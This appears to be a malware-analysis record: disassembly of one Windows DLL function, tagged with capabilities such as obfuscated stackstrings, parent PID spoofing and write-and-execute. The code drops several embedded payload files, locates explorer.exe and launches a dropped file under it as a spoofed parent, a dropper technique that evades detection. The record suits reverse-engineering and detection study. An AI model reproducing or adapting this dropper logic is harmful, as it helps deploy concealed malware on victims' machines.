Function at 0x180001860
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Enumerate processes
Spoof parent pid
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x690]
sub rsp, 0x790
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x680], rax
xor edx, edx
lea rcx, [rbp + 0x240]
mov r8d, 0x104
call fcn.180003830
xor edx, edx
mov dword [rbp + 0x130], 0x646e6977
mov r8d, 0xf5
mov dword [rbp + 0x134], 0x2d73776f
lea rcx, [rbp + 0x13f]
mov dword [rbp + 0x138], 0x74736e69
mov word [rbp + 0x13c], 0x6c61
mov byte [rbp + 0x13e], 0x6c
call fcn.180003830
xor esi, esi
lea r14, [0x180111870]
mov edi, esi
nop word [rax + rax]
movsxd rcx, edi
lea rdx, [rbp + 0x130]
add rcx, r14
call fcn.1800030c0
mov rbx, rax
test rax, rax
jne 0x180001929
inc edi
cmp edi, 0x1f4fc
jl 0x180001900
jmp 0x1800019f0
xor ecx, ecx
call fcn.180007678
mov rcx, rax
call fcn.180006ca4
xor edx, edx
lea rcx, [rbp - 0x20]
mov r8d, 0x104
call fcn.180003830
mov rdi, rsi
nop dword [rax]
call fcn.180006c78
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
add r8b, 0x61
mov byte [rbp + rdi - 0x20], r8b
inc rdi
cmp rdi, 0x103
jl 0x180001950
lea rcx, [rbp - 0x20]
mov eax, 2
nop
lea rbx, [rbx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rbx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rbx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rbx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rbx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rbx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rbx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rbx - 0x20], xmm0
movups xmmword [rbx - 0x10], xmm1
sub rax, 1
jne 0x180001990
movzx eax, word [rcx]
mov word [rbx], ax
movzx eax, byte [rcx + 2]
mov byte [rbx + 2], al
lea rcx, [rbp + 0x240]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180001a00
lea r8, [0x180131488]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001a20
lea rcx, [rbp + 0x240]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180001a40
movzx eax, word [0x18001b928]
xor edx, edx
mov word [rcx], ax
mov r8d, 0x104
lea rcx, [rbp + 0x350]
call fcn.180003830
xor edx, edx
lea rcx, [rbp + 0x460]
mov r8d, 0x104
call fcn.180003830
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x104
call fcn.180003830
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x240]
mov byte [rbp + rcx + 0x350], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001aa0
lea rcx, [rbp + 0x350]
dec rcx
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180001ac1
lea r8, [0x18013158c]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001ae0
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x240]
mov byte [rbp + rcx + 0x460], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001b00
lea rcx, [rbp + 0x460]
dec rcx
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180001b21
lea r8, [0x180131690]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001b40
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x240]
mov byte [rbp + rcx + 0x570], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001b60
lea rcx, [rbp + 0x570]
dec rcx
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180001b81
lea r8, [0x180131ba4]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001ba0
lea rcx, [rbp + 0x240]
call fcn.1800011f0
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0x460]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rbp + 0x110], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000202f
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rsi
mov r8d, 0x1f600
mov rdx, r14
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180002026
cmp dword [rbp + 0x110], 0x1f600
jne 0x180002026
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], rsi
lea rcx, [0x180131794]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rbp + 0x110], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000202f
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rsi
mov r8d, 0x180581
lea rdx, [0x1801323c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180002026
cmp dword [rbp + 0x110], 0x180581
jne 0x180002026
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [0x1803b2b64]
lea rcx, [0x180131898]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov dword [rbp + 0x110], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000202f
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rsi
mov r8d, edi
lea rdx, [0x1803b2b68]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180002026
cmp dword [rbp + 0x110], edi
jne 0x180002026
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0x570]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rbp + 0x110], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000202f
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rsi
mov r8d, 0xeb2a8
lea rdx, [0x18001e9f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180002026
cmp dword [rbp + 0x110], 0xeb2a8
jne 0x180002026
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0x350]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rbp + 0x110], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001e35
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rsi
mov r8d, 0x7bd0
lea rdx, [0x180109ca0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x180131ca8]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x180001e43
test rax, rax
je 0x180001eb4
mov edi, dword [0x1802b2a54]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov dword [rbp + 0x110], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001eb4
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rsi
mov r8d, edi
lea rdx, [0x1802b2a58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
xor edx, edx
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x70], 0x70
mov rbx, rsi
movups xmmword [rbp - 0x60], xmm0
lea ecx, [rdx + 2]
mov dword [rbp - 0x54], 1
movups xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x50], si
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180001f68
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x180001f5f
nop word [rax + rax]
lea rdx, [rbp + 0xc]
lea rcx, str.explorer.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x180001f4e
mov r8d, dword [rbp - 0x18]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x180001f5f
lea rdx, [rbp - 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180001f20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
mov qword [rsp + 0x60], rbx
lea r9, [rsp + 0x58]
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x58]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r8d, r8d
lea r9, [rsp + 0x58]
mov rcx, rax
mov qword [rbp - 0x28], rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rcx, qword [rbp - 0x28]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x30], rsi
xor edx, edx
mov qword [rsp + 0x28], rsi
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rcx, [rbp + 0x118]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
lea rdx, [rbp + 0x350]
lea rcx, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 1
jmp 0x180002031
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x680]
xor rcx, rsp
call fcn.1800022e0
lea r11, [rsp + 0x790]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret